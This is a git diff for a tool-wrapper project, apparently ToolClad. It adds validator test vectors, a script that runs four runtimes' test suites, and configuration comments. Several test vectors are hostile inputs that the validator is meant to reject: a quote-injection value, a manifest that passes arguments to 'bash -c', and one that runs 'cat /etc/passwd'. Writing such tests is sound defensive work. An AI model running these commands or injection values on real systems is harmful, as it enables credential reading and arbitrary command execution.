+ "id": "msf-options-quote", + "arg": { "type": "msf_options" }, + "value": "RHOSTS 10.0.0.1' -x", + "expect": "reject", + "note": "TC-1: quotes are rejected even where whitespace is the grammar" + }, + { + "id": "msf-options-accept", + "arg": { "type": "msf_options" }, + "value": "RHOSTS 10.0.1.1;RPORT 445", + "expect": "accept", + "note": "positive control: space is this type's KEY VALUE separator" + }, + { + "id": "enum-nul", + "arg": { "type": "enum", "allowed": ["ping", "syn"] }, + "value": "ping\u0000", + "expect": "reject", + "note": "NUL rejection applies to every type" + }, + { + "id": "enum-accept", + "arg": { "type": "enum", "allowed": ["ping", "syn"] }, + "value": "ping", + "expect": "accept", + "note": "positive control" + }, + { + "id": "cidr-ipv6-accept", + "arg": { "type": "cidr" }, + "value": "2001:db8::/32", + "expect": "accept", + "note": "TC-20: IPv6 CIDR is accepted in all four runtimes" + }, + { + "id": "port-zero", + "arg": { "type": "port" }, + "value": "0", + "expect": "reject", + "note": "ports are 1-65535" + }, + { + "id": "port-accept", + "arg": { "type": "port" }, + "value": "443", + "expect": "accept", + "note": "positive control" + } + ], + "manifest_vectors": [ + { + "id": "template-placeholder-inside-quotes", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n[args.headers]\nposition = 1\nrequired = false\ntype = \"string\"\ndefault = \"\"\ndescription = \"h\"\n\n[command]\ntemplate = \"echo -H '{headers}'\"\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "TC-1: a placeholder inside quotes cannot be tokenized safely" + }, + { + "id": "unknown-tool-key-typo", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\ntiemout_seconds = 5\n\n[command]\nexec = [\"echo\", \"hi\"]\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "TC-13: a misspelled key silently fell back to the default" + }, + { + "id": "unknown-arg-key", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n[args.target]\nposition = 1\nrequired = true\ntype = \"string\"\nblock_internal_typo = true\ndescription = \"t\"\n\n[command]\nexec = [\"echo\", \"{target}\"]\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "TC-13" + }, + { + "id": "egress-binary-without-block-internal", + "manifest": "[tool]\nname = \"fetch\"\nversion = \"1.0.0\"\nbinary = \"curl\"\ndescription = \"x\"\n\n[args.url]\nposition = 1\nrequired = true\ntype = \"url\"\ndescription = \"u\"\n\n[command]\nexec = [\"curl\", \"{url}\"]\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "TC-4 / TC-15: an egress tool must default-deny internal targets" + }, + { + "id": "zero-timeout", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\ntimeout_seconds = 0\n\n[command]\nexec = [\"echo\", \"hi\"]\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "TC-11: zero disabled the timeout entirely in Rust" + }, + { + "id": "custom-output-parser", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n[command]\nexec = [\"echo\", \"hi\"]\n\n[output]\nformat = \"json\"\nparser = \"scripts/parse.py\"\n", + "expect": "reject", + "note": "TC-14: custom parsers were silently ignored" + }, + { + "id": "shell-as-binary", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"bash\"\ndescription = \"x\"\n\n[args.cmd]\nposition = 1\nrequired = true\ntype = \"string\"\ndescription = \"c\"\n\n[command]\nexec = [\"bash\", \"-c\", \"{cmd}\"]\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "TC-21: an interpreter as argv[0] needs an explicit opt-in" + }, + { + "id": "binary-basename-mismatch", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n[command]\nexec = [\"cat\", \"/etc/passwd\"]\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "TC-8: argv[0] must match the declared binary" + }, + { + "id": "bad-end-of-options", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n[command]\nexec = [\"echo\", \"hi\"]\nend_of_options = \"++\"\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "only the literal \"--\" is accepted" + }, + { + "id": "unresolved-placeholder", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n[command]\nexec = [\"echo\", \"{nope}\"]\n\n[output]\nformat = \"text\"\n", + "expect": "reject", + "note": "TC-23: unresolved placeholders used to reach argv literally" + }, + { + "id": "minimal-valid-exec", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n[args.msg]\nposition = 1\nrequired = true\ntype = \"string\"\ndescription = \"m\"\n\n[command]\nexec = [\"echo\", \"{msg}\"]\n\n[output]\nformat = \"text\"\n", + "expect": "accept", + "note": "positive control" + }, + { + "id": "minimal-valid-template", + "manifest": "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n[args.msg]\nposition = 1\nrequired = true\ntype = \"string\"\ndescription = \"m\"\n\n[command]\ntemplate = \"echo {msg}\"\n\n[output]\nformat = \"text\"\n", + "expect": "accept", + "note": "positive control: the legacy form still loads, with a deprecation warning" + } + ] +} diff --git a/tests/run_all.sh b/tests/run_all.sh new file mode 100755 index 0000000..b33d00e --- /dev/null +++ b/tests/run_all.sh @@ -0,0 +1,75 @@ +#!/usr/bin/env bash +# Run every reference runtime's test suite. +# +# The suites are the only place the shared vector files in this directory are +# enforced, so "all four green" is what keeps the implementations from drifting +# apart. Each suite loads tests/injection_vectors.json and +# tests/scope_vectors.json from the repository root. +# +# Usage: tests/run_all.sh [rust|go|js|python ...] +# (no arguments runs all four) +# +# Environment: +# TOOLCLAD_PYTHON python interpreter to use for the Python suite +# (default: python3; point this at a virtualenv that has +# the package installed with its dev extra) +# CARGO_JOBS -j value for cargo (default: 2) + +set -uo pipefail + +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +python_bin="${TOOLCLAD_PYTHON:-python3}" +cargo_jobs="${CARGO_JOBS:-2}" + +targets=("$@") +if [ ${#targets[@]} -eq 0 ]; then + targets=(rust go js python) +fi + +failed=() + +run_step() { + local name="$1" + shift + printf '\n=== %s ===\n' "$name" + if "$@"; then + printf '--- %s: OK\n' "$name" + else + printf '--- %s: FAILED\n' "$name" + failed+=("$name") + fi +} + +for target in "${targets[@]}"; do + case "$target" in + rust) + run_step "rust fmt" env -C "$repo_root/rust" cargo fmt --all --check + run_step "rust clippy" env -C "$repo_root/rust" \ + cargo clippy --all-targets --all-features "-j$cargo_jobs" -- -D warnings + run_step "rust test" env -C "$repo_root/rust" \ + cargo test --all-features "-j$cargo_jobs" + ;; + go) + run_step "go vet" env -C "$repo_root/go" go vet ./... + run_step "go test" env -C "$repo_root/go" go test ./... + ;; + js) + run_step "js test" env -C "$repo_root/js" npm test + ;; + python) + run_step "python test" env -C "$repo_root/python" "$python_bin" -m pytest -q + ;; + *) + printf 'unknown target: %s\n' "$target" >&2 + exit 2 + ;; + esac +done + +printf '\n' +if [ ${#failed[@]} -eq 0 ]; then + printf 'all suites passed\n' + exit 0 +fi +printf 'failed: %s\n' "${failed[*]}" +exit 1 diff --git a/toolclad.toml b/toolclad.toml index 72384e7..0ac7883 100644 --- a/toolclad.toml +++ b/toolclad.toml @@ -5,6 +5,15 @@ # # Each custom type inherits validation from a base type and adds # constraints (allowed values, patterns, min/max ranges). +# +# Custom types cannot carry the per-argument egress policy (`block_internal`) +# or scope enforcement (`scope_check`). An argument that names a network target +# must therefore use the built-in `scope_target`, `url`, `ip_address`, or +# `cidr` type — a manifest that dispatches a network-egress binary with a +# custom-typed target is refused at load. +# +# `pattern` is anchored: the value must match the whole string, so `[a-z]+` +# means `^(?:[a-z]+)$` and not a substring search. [types.severity_level] base = "enum" @@ -19,6 +28,8 @@ base = "integer" min = 1 max = 10000 +# Shape-only hostname check. Prefer the built-in `scope_target` type for +# anything that is actually dialed: this type carries no egress or scope policy. [types.hostname] base = "string" pattern = "^[a-zA-Z0-9]([a-zA-Z0-9\\-]*[a-zA-Z0-9])?(\\.[a-zA-Z0-9]([a-zA-Z0-9\\-]*[a-zA-Z0-9])?)*$"